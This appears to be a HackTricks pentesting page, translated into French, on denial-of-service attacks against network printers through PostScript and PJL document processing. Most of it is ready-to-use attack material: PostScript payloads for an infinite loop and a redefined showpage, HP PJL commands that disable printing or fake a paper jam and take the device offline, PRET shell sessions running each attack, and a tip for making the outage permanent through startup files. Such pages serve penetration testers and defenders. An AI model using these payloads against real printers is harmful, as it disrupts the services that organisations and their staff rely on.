hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
2023-06-03 13:10:46 +00:00

6.1 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Langages de description de page permettant des boucles infinies ou des calculs nécessitant beaucoup de temps de calcul. Même des langages minimalistes comme PCL peuvent être utilisés pour télécharger des macros ou des polices permanentes jusqu'à ce que la mémoire disponible soit consommée.

PostScript

Boucles infinies

%!
{} loop

En utilisant PRET :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Redéfinir showpage

En définissant showpage - qui est utilisé dans chaque document pour imprimer la page - pour ne rien faire du tout, les travaux PostScript sont traités sans rien imprimer.

true 0 startjob
/showpage {} def

En utilisant PRET :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

Les codes des deux attaques peuvent également être écrits dans des fichiers Sys/Start, startup.ps ou similaires pour causer une Denial of Service permanente sur les appareils avec un disque inscriptible.

PJL

PJL jobmedia

Les commandes PJL propriétaires peuvent être utilisées pour mettre les anciens appareils HP comme la série LaserJet 4k en mode service et désactiver complètement toutes les fonctionnalités d'impression comme indiqué ci-dessous:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

En utilisant PRET :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

Mode hors ligne

De plus, la norme PJL définit la commande OPMSG qui "invite l'imprimante à afficher un message spécifié et à passer en mode hors ligne" \cite{hp1997pjl}. Cela peut être utilisé pour simuler un bourrage papier comme indiqué ci-dessous:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

En utilisant PRET :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

En savoir plus sur ces attaques sur http://hacking-printers.net/wiki/index.php/Document_processing

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥